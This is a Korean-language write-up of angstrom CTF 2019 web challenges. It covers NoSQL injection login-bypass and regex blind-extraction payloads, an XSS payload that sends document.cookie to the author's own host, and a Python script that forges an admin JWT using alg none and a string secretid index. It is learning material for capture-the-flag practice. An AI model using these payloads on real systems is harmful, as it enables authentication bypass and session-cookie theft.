CTF/Writeup

angstrom ctf 2019 Web Write up

JeonYoungSin 2019. 4. 25. 19:00

Control You


소스보기하면 플래그가 있다.



No Sequels


로그인 창 하나가 나오는데 nosql injection이 터진다. 근데 요청 폼을 보면 username=1&password=1 이런식으로 넘어가는데 이걸 json형태로 변경하고 요청 헤더 값에 Content-Type을 application/json로 변경해서 json 요청폼으로 넘겨주면 된다.


payload

{"username":{"$ne":"1"},"password":{"$ne":"1"}}



No Sequels 2


이전 문제랑 같은 Nosql 문젠데 블라인드로 admin password를 뽑아야 된다. 그냥 regex써서 대충 아래같은 형태로 뽑아주면 된다.


payload

{"username":"admin","password":{"$regex":"^c"}}



DOM Validator


XSS 문젠데 특이하게 스크립트가 박히는 페이지에 아래 js코드로 돔 내 요소들에 있는 속성들의 값을 가지고 checksum값을 만든다. 이 값이 3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc 이 값이랑 같지 않으면 해당 페이지 내 모든 요소들을 제거해버린다.


function checksum (element) {

var string = ''

string += (element.attributes ? element.attributes.length : 0) + '|'

for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {

string += element.attributes[i].name + ':' + element.attributes[i].value + '|'

}

string += (element.childNodes ? element.childNodes.length : 0) + '|'

for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {

string += checksum(element.childNodes[i]) + '|'

}

return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)

}

var request = new XMLHttpRequest()

request.open('GET', location.href, false)

request.send(null)

if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {

document.documentElement.remove()

}


일단 저 checksum값이랑 동일한 페이지를 만들어내는건 불가능해보였다. 근데 잘 보면 checksum 코드를 타기전에 이미 내가 삽입한 XSS 코드가 실행이 되는 구조였다. 그래서 뭐지이게하고 로컬에서 테스트해보니 그냥 아무코드나 다 박아도 잘 실행이 됬다. 그래서 원격에다가 넣어보니까 이상하게 img tag만 실행이 됬다. 딱히 CSP나 이런것도 없었는데 뭔가 이상했다.


첨엔 img태그를 제외하고 나머지 <frame>,<script> 등은 위의 checksum 코드보다 html이 해석을 늦게해서 해당 태그들은 실행되기전에 체크섬로직에 걸려서 삭제되고 그래서 실행이 안되나 싶었는데 로컬에서해보니 그런것도 아니었다. 그냥 이것저것 넣다가 먹히는 구문이 있어서 풀긴했는데 왜 이놈만 되는지 잘 모르겠다.


payload

<img src=1 onerror="http://myip/"+document.cookie"/>



Cookie Cutter


해당 대회에서 가장 재밌게 푼 문제다. 문제를 보면 일단 소스를 제공해 준다.


source.js


const cookieParser = require('cookie-parser');

const express = require('express');

const crypto = require('crypto');

const jwt = require('jsonwebtoken');


const flag = "[redacted]";


let secrets = [];


const app = express()

app.use('/style.css', express.static('style.css'));

app.use('/favicon.ico', express.static('favicon.ico'));

app.use('/rick.png', express.static('rick.png'));

app.use(cookieParser())


app.use('/admin',(req, res, next)=>{

res.locals.rolled = true;

next();

})


app.use((req, res, next) => {

let cookie = req.cookies?req.cookies.session:"";

res.locals.flag = false;

try {

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;

if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}

let decoded = jwt.verify(cookie, secrets[sid]);

if(decoded.perms=="admin"){

res.locals.flag = true;

}

if(decoded.rolled=="yes"){

res.locals.rolled = true;

}

if(res.locals.rolled) {

req.cookies.session = ""; // generate new cookie

}

} catch (err) {

req.cookies.session = "";

}

if(!req.cookies.session){

let secret = crypto.randomBytes(32)

cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});

secrets.push(secret);

res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})

req.cookies.session=cookie

res.locals.flag = false;

}

next()

})


app.get('/admin', (req, res) => {

res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");

})


app.get('/', (req, res) => {

res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")

})


app.listen(3000)


코드를 보면 res.locals.flag 값을 true로 만들어주면 된다. 그럼 이제 이게 어떻게 true가 될 수 있는지 보면 되는데 jwt값의 페이로드 내에 perms 키의 value가 admin이면 된다. 


그럼이제 할거는 간단하다. jwt의 payload부분의 user값을 admin으로 바꿔주면 된다.


근데 잘보면 키 값은 랜덤한 32byte값이라 크랙이 불가능하고, 알고리즘이 HS256이어서 RSA256->HS256 요런 패턴도 해당이 안된다. 그럼 남은게 알고리즘 none으로 해서 bypass하는건데 jwt를 디코딩할 때 키 값을 가져와서 검증하는 구조라 이것도 불가능해 보였다. 

근데 잘 보면 디코딩 시 쓰는 key값을 jwt payload부분의 값을 가지고 리스트에서 가져오기 때문에 내가 컨트롤이 가능하고 이걸로 key값에 null값을 박아넣을 수 있다.

첨엔 그냥 리스트범위를 넘어가는 int형 값을 넣어서 undefined를 리턴시키려고 했는데 if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"} 요런 구문으로 필터를 하고 있었다. 그래서 로컬에다 리스트 만들어놓고 테스트 해보니 list['youngsin'] 이런식으로 index에 문자열을 넣어보니 undefined를 리턴해줬다.


이제 필요한건 다 구했고 아래 코드로 변조한 jwt 값을 구해서 넘겨주면 된다.


payload.py


jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6NDgzMywicm9sbGVkIjoieWVzIiwiaWF0IjoxNTU2MTY1NDQ0fQ.48SNu1UAgwyBWAq-TMfeOMebAwYScUUx575JYkXM3Gk"

header, payload, signature  = jwt.split('.')


# Replacing the ALGO and the payload username

header  = header.decode('base64').replace('HS256',"none")

payload = (payload+"==").decode('base64').replace('user','admin').replace('4833','"youngsin"').replace("yes","no")


header  = header.encode('base64').strip().replace("=","")

payload = payload.encode('base64').strip().replace("=","")


# 'The algorithm 'none' is not supported'

print( header+"."+payload+".")